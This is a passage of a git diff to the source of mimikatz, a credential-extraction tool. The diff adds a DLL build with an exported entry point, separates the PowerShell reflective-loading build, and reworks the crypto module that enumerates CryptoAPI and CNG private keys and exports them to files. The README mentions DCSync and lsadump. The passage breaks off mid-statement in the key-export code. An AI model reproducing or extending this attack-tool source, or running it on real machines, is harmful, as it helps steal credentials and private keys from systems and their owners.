diff --git a/README.md b/README.md index e115208..98a7b54 100644 --- a/README.md +++ b/README.md @@ -123,6 +123,6 @@ CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/ ## Author * Benjamin DELPY `gentilkiwi`, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com ) -* DCSync function in `lsadump` module was co-writed with Vincent LE TOUX, you contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com ) +* DCSync function in `lsadump` module was co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com ) This is a **personal** development, please respect its philosophy and don't use it for bad things! \ No newline at end of file diff --git a/inc/globals.h b/inc/globals.h index 8fcd6aa..306fed5 100644 --- a/inc/globals.h +++ b/inc/globals.h @@ -42,9 +42,13 @@ #ifdef _WINDLL #define MIMIKATZ_AUTO_COMMAND_START 0 - #define MIMIKATZ_AUTO_COMMAND_STRING L"powershell" #else #define MIMIKATZ_AUTO_COMMAND_START 1 +#endif + +#ifdef _POWERKATZ + #define MIMIKATZ_AUTO_COMMAND_STRING L"powershell" +#else #define MIMIKATZ_AUTO_COMMAND_STRING L"commandline" #endif diff --git a/lib/Win32/bcrypt.lib b/lib/Win32/bcrypt.lib new file mode 100644 index 0000000..1895f56 Binary files /dev/null and b/lib/Win32/bcrypt.lib differ diff --git a/lib/Win32/ncrypt.lib b/lib/Win32/ncrypt.lib new file mode 100644 index 0000000..a70c8d7 Binary files /dev/null and b/lib/Win32/ncrypt.lib differ diff --git a/lib/x64/bcrypt.lib b/lib/x64/bcrypt.lib new file mode 100644 index 0000000..d01d08d Binary files /dev/null and b/lib/x64/bcrypt.lib differ diff --git a/lib/x64/ncrypt.lib b/lib/x64/ncrypt.lib new file mode 100644 index 0000000..942828e Binary files /dev/null and b/lib/x64/ncrypt.lib differ diff --git a/mimikatz.sln b/mimikatz.sln index 35dbb69..f8f984a 100644 --- a/mimikatz.sln +++ b/mimikatz.sln @@ -34,9 +34,11 @@ EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Win32", "Win32", "{96078881-DEC1-4EF5-A24A-A81AC007809D}" ProjectSection(SolutionItems) = preProject lib\Win32\advapi32.hash.lib = lib\Win32\advapi32.hash.lib + lib\Win32\bcrypt.lib = lib\Win32\bcrypt.lib lib\Win32\cryptdll.lib = lib\Win32\cryptdll.lib lib\Win32\hid.lib = lib\Win32\hid.lib lib\Win32\msasn1.min.lib = lib\Win32\msasn1.min.lib + lib\Win32\ncrypt.lib = lib\Win32\ncrypt.lib lib\Win32\netapi32.min.lib = lib\Win32\netapi32.min.lib lib\Win32\ntdll.min.lib = lib\Win32\ntdll.min.lib lib\Win32\samlib.lib = lib\Win32\samlib.lib @@ -46,9 +48,11 @@ EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x64", "x64", "{E9D1619F-D4A1-4AFA-B261-B01091EB8D56}" ProjectSection(SolutionItems) = preProject lib\x64\advapi32.hash.lib = lib\x64\advapi32.hash.lib + lib\x64\bcrypt.lib = lib\x64\bcrypt.lib lib\x64\cryptdll.lib = lib\x64\cryptdll.lib lib\x64\hid.lib = lib\x64\hid.lib lib\x64\msasn1.min.lib = lib\x64\msasn1.min.lib + lib\x64\ncrypt.lib = lib\x64\ncrypt.lib lib\x64\netapi32.min.lib = lib\x64\netapi32.min.lib lib\x64\ntdll.min.lib = lib\x64\ntdll.min.lib lib\x64\samlib.lib = lib\x64\samlib.lib @@ -71,6 +75,8 @@ Global Release|x64 = Release|x64 Second_Release_PowerShell|Win32 = Second_Release_PowerShell|Win32 Second_Release_PowerShell|x64 = Second_Release_PowerShell|x64 + Simple_DLL|Win32 = Simple_DLL|Win32 + Simple_DLL|x64 = Simple_DLL|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.ActiveCfg = Release|Win32 @@ -81,23 +87,33 @@ Global {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|Win32.Build.0 = Second_Release_PowerShell|Win32 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|x64.ActiveCfg = Second_Release_PowerShell|x64 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|x64.Build.0 = Second_Release_PowerShell|x64 + {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Simple_DLL|Win32.ActiveCfg = Simple_DLL|Win32 + {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Simple_DLL|Win32.Build.0 = Simple_DLL|Win32 + {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Simple_DLL|x64.ActiveCfg = Simple_DLL|x64 + {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Simple_DLL|x64.Build.0 = Simple_DLL|x64 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.ActiveCfg = Release|Win32 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.Build.0 = Release|Win32 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.ActiveCfg = Release|x64 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.Build.0 = Release|x64 {E049487C-C5BD-471E-99AE-C756E70B6520}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32 {E049487C-C5BD-471E-99AE-C756E70B6520}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64 + {E049487C-C5BD-471E-99AE-C756E70B6520}.Simple_DLL|Win32.ActiveCfg = Release|Win32 + {E049487C-C5BD-471E-99AE-C756E70B6520}.Simple_DLL|x64.ActiveCfg = Release|x64 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.ActiveCfg = Release|Win32 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.Build.0 = Release|Win32 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.ActiveCfg = Release|x64 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.Build.0 = Release|x64 {86FF6D04-208C-442F-B27C-E4255DD39402}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32 {86FF6D04-208C-442F-B27C-E4255DD39402}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64 + {86FF6D04-208C-442F-B27C-E4255DD39402}.Simple_DLL|Win32.ActiveCfg = Release|Win32 + {86FF6D04-208C-442F-B27C-E4255DD39402}.Simple_DLL|x64.ActiveCfg = Release|x64 {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Release|Win32.ActiveCfg = Release|Win32 {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Release|Win32.Build.0 = Release|Win32 {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Release|x64.ActiveCfg = Release|x64 {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32 {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64 + {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Simple_DLL|Win32.ActiveCfg = Release|Win32 + {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Simple_DLL|x64.ActiveCfg = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/mimikatz/mimikatz.c b/mimikatz/mimikatz.c index 82cbce5..2d5d811 100644 --- a/mimikatz/mimikatz.c +++ b/mimikatz/mimikatz.c @@ -35,7 +35,7 @@ int wmain(int argc, wchar_t * argv[]) { NTSTATUS status = STATUS_SUCCESS; int i; -#ifndef _WINDLL +#ifndef _POWERKATZ size_t len; wchar_t input[0xffff]; #endif @@ -45,7 +45,7 @@ int wmain(int argc, wchar_t * argv[]) kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]); status = mimikatz_dispatchCommand(argv[i]); } -#ifndef _WINDLL +#ifndef _POWERKATZ while (status != STATUS_FATAL_APP_EXIT) { kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin); @@ -65,7 +65,7 @@ int wmain(int argc, wchar_t * argv[]) void mimikatz_begin() { kull_m_output_init(); -#ifndef _WINDLL +#ifndef _POWERKATZ SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH L" (oe.eo)"); SetConsoleCtrlHandler(HandlerRoutine, TRUE); #endif @@ -82,7 +82,7 @@ void mimikatz_begin() void mimikatz_end() { mimikatz_initOrClean(FALSE); -#ifndef _WINDLL +#ifndef _POWERKATZ SetConsoleCtrlHandler(HandlerRoutine, FALSE); #endif kull_m_output_clean(); @@ -112,7 +112,7 @@ NTSTATUS mimikatz_initOrClean(BOOL Init) offsetToFunc = FIELD_OFFSET(KUHL_M, pInit); hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if(FAILED(hr)) -#ifdef _WINDLL +#ifdef _POWERKATZ if(hr != RPC_E_CHANGED_MODE) #endif PRINT_ERROR(L"CoInitializeEx: %08x\n", hr); @@ -231,7 +231,7 @@ NTSTATUS mimikatz_doLocal(wchar_t * input) return status; } -#ifdef _WINDLL +#ifdef _POWERKATZ __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input) { int argc = 0; @@ -247,4 +247,54 @@ __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input) } return outputBuffer; } -#endif \ No newline at end of file +#endif + +#ifdef _WINDLL +void reatachIoHandle(DWORD nStdHandle, int flags, const char *Mode, FILE *file) +{ + int hConHandle; + HANDLE lStdHandle; + FILE *fd; + if(lStdHandle = GetStdHandle(nStdHandle)) + if(hConHandle = _open_osfhandle((intptr_t) lStdHandle, flags)) + if(fd = _fdopen(hConHandle, Mode)) + { + *file = *fd; + setvbuf(file, NULL, _IONBF, 0); + } +} + +void CALLBACK mimikatz_dll(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) +{ + int argc = 0; + wchar_t ** argv; + + if(AllocConsole()) + { + reatachIoHandle(STD_OUTPUT_HANDLE, _O_TEXT, "w", stdout); + reatachIoHandle(STD_ERROR_HANDLE, _O_TEXT, "w", stderr); + reatachIoHandle(STD_INPUT_HANDLE, _O_TEXT, "r", stdin); + + if(lpszCmdLine && lstrlenW(lpszCmdLine)) + { + if(argv = CommandLineToArgvW(lpszCmdLine, &argc)) + { + wmain(argc, argv); + LocalFree(argv); + } + } + else wmain(0, NULL); + } +} +#endif + +FARPROC WINAPI delayHookFailureFunc (unsigned int dliNotify, PDelayLoadInfo pdli) +{ + if((dliNotify == dliFailLoadLib) && ((_stricmp(pdli->szDll, "ncrypt.dll") == 0) || (_stricmp(pdli->szDll, "bcrypt.dll") == 0))) + RaiseException(ERROR_DLL_NOT_FOUND, 0, 0, NULL); + return NULL; +} +#ifndef _DELAY_IMP_VER +const +#endif +PfnDliHook __pfnDliFailureHook2 = delayHookFailureFunc; \ No newline at end of file diff --git a/mimikatz/mimikatz.h b/mimikatz/mimikatz.h index 5626668..65f7371 100644 --- a/mimikatz/mimikatz.h +++ b/mimikatz/mimikatz.h @@ -33,6 +33,8 @@ #include #include +#define DELAYIMP_INSECURE_WRITABLE_HOOKS +#include extern VOID WINAPI RtlGetNtVersionNumbers(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild); @@ -47,6 +49,14 @@ NTSTATUS mimikatz_initOrClean(BOOL Init); NTSTATUS mimikatz_doLocal(wchar_t * input); NTSTATUS mimikatz_dispatchCommand(wchar_t * input); -#ifdef _WINDLL +#ifdef _POWERKATZ __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input); +#elif defined _WINDLL +void reatachIoHandle(DWORD nStdHandle, int flags, const char *Mode, FILE *file); +void CALLBACK mimikatz_dll(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow); +#ifdef _M_X64 +#pragma comment(linker, "/export:mainW=mimikatz_dll") +#elif defined _M_IX86 +#pragma comment(linker, "/export:mainW=_mimikatz_dll@16") +#endif #endif \ No newline at end of file diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj index 4a515c9..b200bad 100644 --- a/mimikatz/mimikatz.vcxproj +++ b/mimikatz/mimikatz.vcxproj @@ -16,6 +16,14 @@ Second_Release_PowerShell x64 + + + Simple_DLL + Win32 + + + Simple_DLL + x64 @@ -29,8 +37,8 @@ - Application - DynamicLibrary + Application + DynamicLibrary false true Unicode @@ -62,6 +70,7 @@ true false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + _POWERKATZ;%(PreprocessorDefinitions) AnySuitable Size true @@ -79,13 +88,14 @@ false true true - advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;userenv.lib;version.lib;hid.lib;setupapi.lib;winscard.lib;winsta.lib;wldap32.lib;wtsapi32.lib;advapi32.hash.lib;msasn1.min.lib;ntdll.min.lib;netapi32.min.lib;%(AdditionalDependencies) + advapi32.lib;bcrypt.lib;crypt32.lib;cryptdll.lib;delayimp.lib;dnsapi.lib;msxml2.lib;ncrypt.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;userenv.lib;version.lib;hid.lib;setupapi.lib;winscard.lib;winsta.lib;wldap32.lib;wtsapi32.lib;advapi32.hash.lib;msasn1.min.lib;ntdll.min.lib;netapi32.min.lib;%(AdditionalDependencies) false true NoErrorReport false true UseLinkTimeCodeGeneration + bcrypt.dll;ncrypt.dll @@ -259,10 +269,10 @@ - + - + \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_crypto.c b/mimikatz/modules/kuhl_m_crypto.c index c05244a..b9f7d00 100644 --- a/mimikatz/modules/kuhl_m_crypto.c +++ b/mimikatz/modules/kuhl_m_crypto.c @@ -5,9 +5,7 @@ */ #include "kuhl_m_crypto.h" -HMODULE - kuhl_m_crypto_hNCrypt = NULL, - kuhl_m_crypto_hRsaEnh = NULL; +HMODULE kuhl_m_crypto_hRsaEnh = NULL; const KUHL_M_C kuhl_m_c_crypto[] = { {kuhl_m_crypto_l_providers, L"providers", L"List cryptographic providers"}, @@ -30,72 +28,21 @@ const KUHL_M kuhl_m_crypto = { }; PCP_EXPORTKEY K_CPExportKey = NULL; -PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = NULL; -PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = NULL; -PNCRYPT_OPEN_KEY K_NCryptOpenKey = NULL; -PNCRYPT_IMPORT_KEY K_NCryptImportKey = NULL; -PNCRYPT_EXPORT_KEY K_NCryptExportKey = NULL; -PNCRYPT_GET_PROPERTY K_NCryptGetProperty = NULL; -PNCRYPT_SET_PROPERTY K_NCryptSetProperty = NULL; -PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = NULL; -PNCRYPT_FREE_OBJECT K_NCryptFreeObject = NULL; -PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = NULL; -PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = NULL; NTSTATUS kuhl_m_crypto_init() { NTSTATUS status = STATUS_NOT_FOUND; - if(kuhl_m_crypto_hRsaEnh = LoadLibrary(L"rsaenh")) - { if(K_CPExportKey = (PCP_EXPORTKEY) GetProcAddress(kuhl_m_crypto_hRsaEnh, "CPExportKey")) - { - if((MIMIKATZ_NT_MAJOR_VERSION > 5) && !kuhl_m_crypto_hNCrypt) - { - if(kuhl_m_crypto_hNCrypt = LoadLibrary(L"ncrypt")) - { - K_NCryptOpenStorageProvider = (PNCRYPT_OPEN_STORAGE_PROVIDER) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptOpenStorageProvider"); - K_NCryptEnumKeys = (PNCRYPT_ENUM_KEYS) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptEnumKeys"); - K_NCryptOpenKey = (PNCRYPT_OPEN_KEY) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptOpenKey"); - K_NCryptImportKey = (PNCRYPT_IMPORT_KEY) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptImportKey"); - K_NCryptExportKey = (PNCRYPT_EXPORT_KEY) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptExportKey"); - K_NCryptGetProperty = (PNCRYPT_GET_PROPERTY) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptGetProperty"); - K_NCryptSetProperty = (PNCRYPT_SET_PROPERTY) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptSetProperty"); - K_NCryptFreeBuffer = (PNCRYPT_FREE_BUFFER) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptFreeBuffer"); - K_NCryptFreeObject = (PNCRYPT_FREE_OBJECT) GetProcAddress(kuhl_m_crypto_hNCrypt, "NCryptFreeObject"); - K_BCryptEnumRegisteredProviders = (PBCRYPT_ENUM_REGISTERED_PROVIDERS) GetProcAddress(kuhl_m_crypto_hNCrypt, "BCryptEnumRegisteredProviders"); - K_BCryptFreeBuffer = (PBCRYPT_FREE_BUFFER) GetProcAddress(kuhl_m_crypto_hNCrypt, "BCryptFreeBuffer"); - - if(K_NCryptOpenStorageProvider && K_NCryptEnumKeys && K_NCryptOpenKey && K_NCryptImportKey && K_NCryptExportKey && K_NCryptGetProperty && K_NCryptSetProperty && K_NCryptFreeBuffer && K_NCryptFreeObject && K_BCryptEnumRegisteredProviders && K_BCryptFreeBuffer) - status = STATUS_SUCCESS; - } - } - else status = STATUS_SUCCESS; - } - } + status = STATUS_SUCCESS; return status; } NTSTATUS kuhl_m_crypto_clean() { - if(kuhl_m_crypto_hNCrypt) - if(FreeLibrary(kuhl_m_crypto_hNCrypt)) - { - K_NCryptOpenStorageProvider = NULL; - K_NCryptEnumKeys = NULL; - K_NCryptOpenKey = NULL; - K_NCryptExportKey = NULL; - K_NCryptGetProperty = NULL; - K_NCryptFreeBuffer = NULL; - K_NCryptFreeObject = NULL; - K_BCryptEnumRegisteredProviders = NULL; - K_BCryptFreeBuffer = NULL; - } - if(kuhl_m_crypto_hRsaEnh) if(FreeLibrary(kuhl_m_crypto_hRsaEnh)) K_CPExportKey = NULL; - return STATUS_SUCCESS; } @@ -105,6 +52,7 @@ NTSTATUS kuhl_m_crypto_l_providers(int argc, wchar_t * argv[]) wchar_t * monProvider; PCWCHAR name; PCRYPT_PROVIDERS pBuffer = NULL; + HCRYPTPROV hProv; kprintf(L"\nCryptoAPI providers :\n"); while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) @@ -114,7 +62,15 @@ NTSTATUS kuhl_m_crypto_l_providers(int argc, wchar_t * argv[]) if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) { name = kull_m_crypto_provider_type_to_name(provType); - kprintf(L"%2u. %-13s (%2u) - %s\n", index, name ? name : L"?", provType, monProvider); + kprintf(L"%2u. %-13s (%2u)", index, name ? name : L"?", provType); + if(CryptAcquireContext(&hProv, NULL, monProvider, provType, CRYPT_VERIFYCONTEXT)) + { + tailleRequise = sizeof(DWORD); + if(CryptGetProvParam(hProv, PP_IMPTYPE, (PBYTE) &provType, &tailleRequise, 0)) + kprintf(L" %c", (provType & CRYPT_IMPL_HARDWARE) ? L'H' : L' '); + CryptReleaseContext(hProv, 0); + } + kprintf(L" - %s\n", monProvider); } LocalFree(monProvider); } @@ -141,17 +97,20 @@ NTSTATUS kuhl_m_crypto_l_providers(int argc, wchar_t * argv[]) if(GetLastError() != ERROR_NO_MORE_ITEMS) PRINT_ERROR_AUTO(L"CryptEnumProviderTypes"); - if(kuhl_m_crypto_hNCrypt) + kprintf(L"\nCNG providers :\n"); + __try { - kprintf(L"\nCNG providers :\n"); - if(NT_SUCCESS(K_BCryptEnumRegisteredProviders(&tailleRequise, &pBuffer))) + + if(NT_SUCCESS(BCryptEnumRegisteredProviders(&tailleRequise, &pBuffer))) { for(index = 0; index < pBuffer->cProviders; index++) kprintf(L"%2u. %s\n", index, pBuffer->rgpszProviders[index]); - K_BCryptFreeBuffer(pBuffer); + BCryptFreeBuffer(pBuffer); } else PRINT_ERROR_AUTO(L"BCryptEnumRegisteredProviders"); } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} + return STATUS_SUCCESS; } @@ -252,17 +211,24 @@ NTSTATUS kuhl_m_crypto_l_certificates(int argc, wchar_t * argv[]) if(keyToFree) CryptReleaseContext(monProv, 0); } - else if(kuhl_m_crypto_hNCrypt) + else { - kuhl_m_crypto_printKeyInfos(monProv, 0); - if(keyToFree) - K_NCryptFreeObject(monProv); + __try + { + kuhl_m_crypto_printKeyInfos(monProv, 0); + if(keyToFree) + NCryptFreeObject(monProv); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n"); + } } - else PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n"); - - } else PRINT_ERROR_AUTO(L"CryptAcquireCertificatePrivateKey"); + } + else PRINT_ERROR_AUTO(L"CryptAcquireCertificatePrivateKey"); } - } else PRINT_ERROR_AUTO(L"CertGetCertificateContextProperty"); + } + else PRINT_ERROR_AUTO(L"CertGetCertificateContextProperty"); LocalFree(pBuffer); } if(!export) @@ -272,15 +238,18 @@ NTSTATUS kuhl_m_crypto_l_certificates(int argc, wchar_t * argv[]) if(export) kuhl_m_crypto_exportCert(pCertContext, (BOOL) dwSizeNeeded, szSystemStore, szStore, i, certName); - } else PRINT_ERROR_AUTO(L"CertGetNameString"); + } + else PRINT_ERROR_AUTO(L"CertGetNameString"); LocalFree(certName); } break; - } else PRINT_ERROR_AUTO(L"CertGetNameString (for len)"); + } + else PRINT_ERROR_AUTO(L"CertGetNameString (for len)"); } } CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG); - } else PRINT_ERROR_AUTO(L"CertOpenStore"); + } + else PRINT_ERROR_AUTO(L"CertOpenStore"); return STATUS_SUCCESS; } @@ -306,7 +275,7 @@ void kuhl_m_crypto_l_keys_capi(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dw { if(containerName = kull_m_string_qad_ansi_to_unicode(aContainerName)) { - kprintf(L"\n%2u. %s\n", i, containerName); + kprintf(L" %u. %s\n", i, containerName); dwSubContainer = (DWORD) wcslen(containerName); if(fullContainer = (wchar_t *) LocalAlloc(LPTR, (dwContainer + dwSubContainer + 1) * sizeof(wchar_t))) @@ -340,6 +309,7 @@ void kuhl_m_crypto_l_keys_capi(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dw } LocalFree(fullContainer); } + kprintf(L"\n"); LocalFree(containerName); } } @@ -356,7 +326,7 @@ void kuhl_m_crypto_l_keys_capi(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dw else PRINT_ERROR_AUTO(L"CryptAcquireContext"); } -NTSTATUS kuhl_m_crypto_l_keys(int argc, wchar_t * argv[]) +void kuhl_m_crypto_l_keys_cng(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwFlags, BOOL export, LPCWSTR szStore) { NCRYPT_PROV_HANDLE hProvider; NCryptKeyName * pKeyName; @@ -365,8 +335,52 @@ NTSTATUS kuhl_m_crypto_l_keys(int argc, wchar_t * argv[]) NCRYPT_KEY_HANDLE hCngKey; DWORD i, dwUniqueSizeNeeded; wchar_t *uUniqueName; - - PCWCHAR szProvider, pProvider, szProviderType, szStore, szCngProvider/*, pCngProvider*/; + + __try + { + if(NT_SUCCESS(retour = NCryptOpenStorageProvider(&hProvider, szProvider, 0))) + { + i = 0; + while(NT_SUCCESS(retour = NCryptEnumKeys(hProvider, szContainer, &pKeyName, &pEnumState, dwFlags))) + { + kprintf(L" %u. %s\n", i, pKeyName->pszName); + + if(NT_SUCCESS(retour = NCryptOpenKey(hProvider, &hCngKey, pKeyName->pszName, 0, dwFlags))) + { + if(NT_SUCCESS(NCryptGetProperty(hCngKey, NCRYPT_UNIQUE_NAME_PROPERTY, NULL, 0, &dwUniqueSizeNeeded, 0))) + { + if(uUniqueName = (wchar_t *) LocalAlloc(LPTR, dwUniqueSizeNeeded)) + { + if(NT_SUCCESS(NCryptGetProperty(hCngKey, NCRYPT_UNIQUE_NAME_PROPERTY, (BYTE *) uUniqueName, dwUniqueSizeNeeded, &dwUniqueSizeNeeded, 0))) + kprintf(L" %s\n", uUniqueName); + LocalFree(uUniqueName); + } + } + kuhl_m_crypto_printKeyInfos(hCngKey, 0); + if(export) + kuhl_m_crypto_exportKeyToFile(hCngKey, 0, AT_KEYEXCHANGE, szStore, i, pKeyName->pszName); + NCryptFreeObject(hCngKey); + } + else PRINT_ERROR(L"NCryptOpenKey %08x\n", retour); + kprintf(L"\n"); + NCryptFreeBuffer(pKeyName); + i++; + } + if(retour != NTE_NO_MORE_ITEMS) + PRINT_ERROR(L"NCryptEnumKeys %08x\n", retour); + + if(pEnumState) + NCryptFreeBuffer(pEnumState); + NCryptFreeObject(hProvider); + } + else PRINT_ERROR(L"NCryptOpenStorageProvider %08x\n", retour); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} +} + +NTSTATUS kuhl_m_crypto_l_keys(int argc, wchar_t * argv[]) +{ + PCWCHAR szProvider, pProvider, szProviderType, szStore, szCngProvider; DWORD dwProviderType, dwFlags = 0; BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); @@ -399,49 +413,8 @@ NTSTATUS kuhl_m_crypto_l_keys(int argc, wchar_t * argv[]) kprintf(L"\nCryptoAPI keys :\n"); kuhl_m_crypto_l_keys_capi(NULL, pProvider, dwProviderType, dwFlags, export, szStore); - - if(kuhl_m_crypto_hNCrypt) - { - kprintf(L"\nCNG keys :\n"); - - if(NT_SUCCESS(retour = K_NCryptOpenStorageProvider(&hProvider, szCngProvider, 0))) - { - i = 0; - while(NT_SUCCESS(retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, dwFlags))) - { - kprintf(L"\n%2u. %s\n", i, pKeyName->pszName); - - if(NT_SUCCESS(retour = K_NCryptOpenKey(hProvider, &hCngKey, pKeyName->pszName, 0, dwFlags))) - { - if(NT_SUCCESS(K_NCryptGetProperty(hCngKey, NCRYPT_UNIQUE_NAME_PROPERTY, NULL, 0, &dwUniqueSizeNeeded, 0))) - { - if(uUniqueName = (wchar_t *) LocalAlloc(LPTR, dwUniqueSizeNeeded)) - { - if(NT_SUCCESS(K_NCryptGetProperty(hCngKey, NCRYPT_UNIQUE_NAME_PROPERTY, (BYTE *) uUniqueName, dwUniqueSizeNeeded, &dwUniqueSizeNeeded, 0))) - kprintf(L" %s\n", uUniqueName); - LocalFree(uUniqueName); - } - } - kuhl_m_crypto_printKeyInfos(hCngKey, 0); - if(export) - kuhl_m_crypto_exportKeyToFile(hCngKey, 0, AT_KEYEXCHANGE, szStore, i, pKeyName->pszName); - K_NCryptFreeObject(hCngKey); - } - else PRINT_ERROR(L"NCryptOpenKey %08x\n", retour); - - K_NCryptFreeBuffer(pKeyName); - i++; - } - if(retour != NTE_NO_MORE_ITEMS) - PRINT_ERROR(L"NCryptEnumKeys %08x\n", retour); - - if(pEnumState) - K_NCryptFreeBuffer(pEnumState); - K_NCryptFreeObject(hProvider); - } - else PRINT_ERROR(L"NCryptOpenStorageProvider %08x\n", retour); - } - + kprintf(L"\nCNG keys :\n"); + kuhl_m_crypto_l_keys_cng(NULL, szCngProvider, dwFlags, export, szStore); return STATUS_SUCCESS; } @@ -451,12 +424,16 @@ void kuhl_m_crypto_printKeyInfos(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv, HCRYPT DWORD keySize, dwSizeNeeded; if(monProv) { - keyOperation = NT_SUCCESS(K_NCryptGetProperty(monProv, NCRYPT_EXPORT_POLICY_PROPERTY, (BYTE *) &keySize, sizeof(DWORD), &dwSizeNeeded, 0)); - isExportable = (keySize & NCRYPT_ALLOW_EXPORT_FLAG); - keyOperation &= NT_SUCCESS(K_NCryptGetProperty(monProv, NCRYPT_LENGTH_PROPERTY, (BYTE *) &keySize, sizeof(DWORD), &dwSizeNeeded, 0)); + __try + { + keyOperation = NT_SUCCESS(NCryptGetProperty(monProv, NCRYPT_EXPORT_POLICY_PROPERTY, (BYTE *) &keySize, sizeof(DWORD), &dwSizeNeeded, 0)); + isExportable = (keySize & NCRYPT_ALLOW_EXPORT_FLAG); + keyOperation &= NT_SUCCESS(NCryptGetProperty(monProv, NCRYPT_LENGTH_PROPERTY, (BYTE *) &keySize, sizeof(DWORD), &dwSizeNeeded, 0)); - if(!keyOperation) - PRINT_ERROR_AUTO(L"NCryptGetProperty"); + if(!keyOperation) + PRINT_ERROR_AUTO(L"NCryptGetProperty"); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} } else if(maCle) { @@ -489,19 +466,22 @@ void kuhl_m_crypto_exportRawKeyToFile(LPCVOID data, DWORD size, BOOL isCNG, cons if(isCNG) { - if(kuhl_m_crypto_hNCrypt) + __try { - if(NT_SUCCESS(K_NCryptOpenStorageProvider(&hCngProv, MS_KEY_STORAGE_PROVIDER, 0))) + if(NT_SUCCESS(NCryptOpenStorageProvider(&hCngProv, MS_KEY_STORAGE_PROVIDER, 0))) { - if(NT_SUCCESS(K_NCryptImportKey(hCngProv, 0, BCRYPT_RSAPRIVATE_BLOB, NULL, &hCngKey, (PBYTE) data, 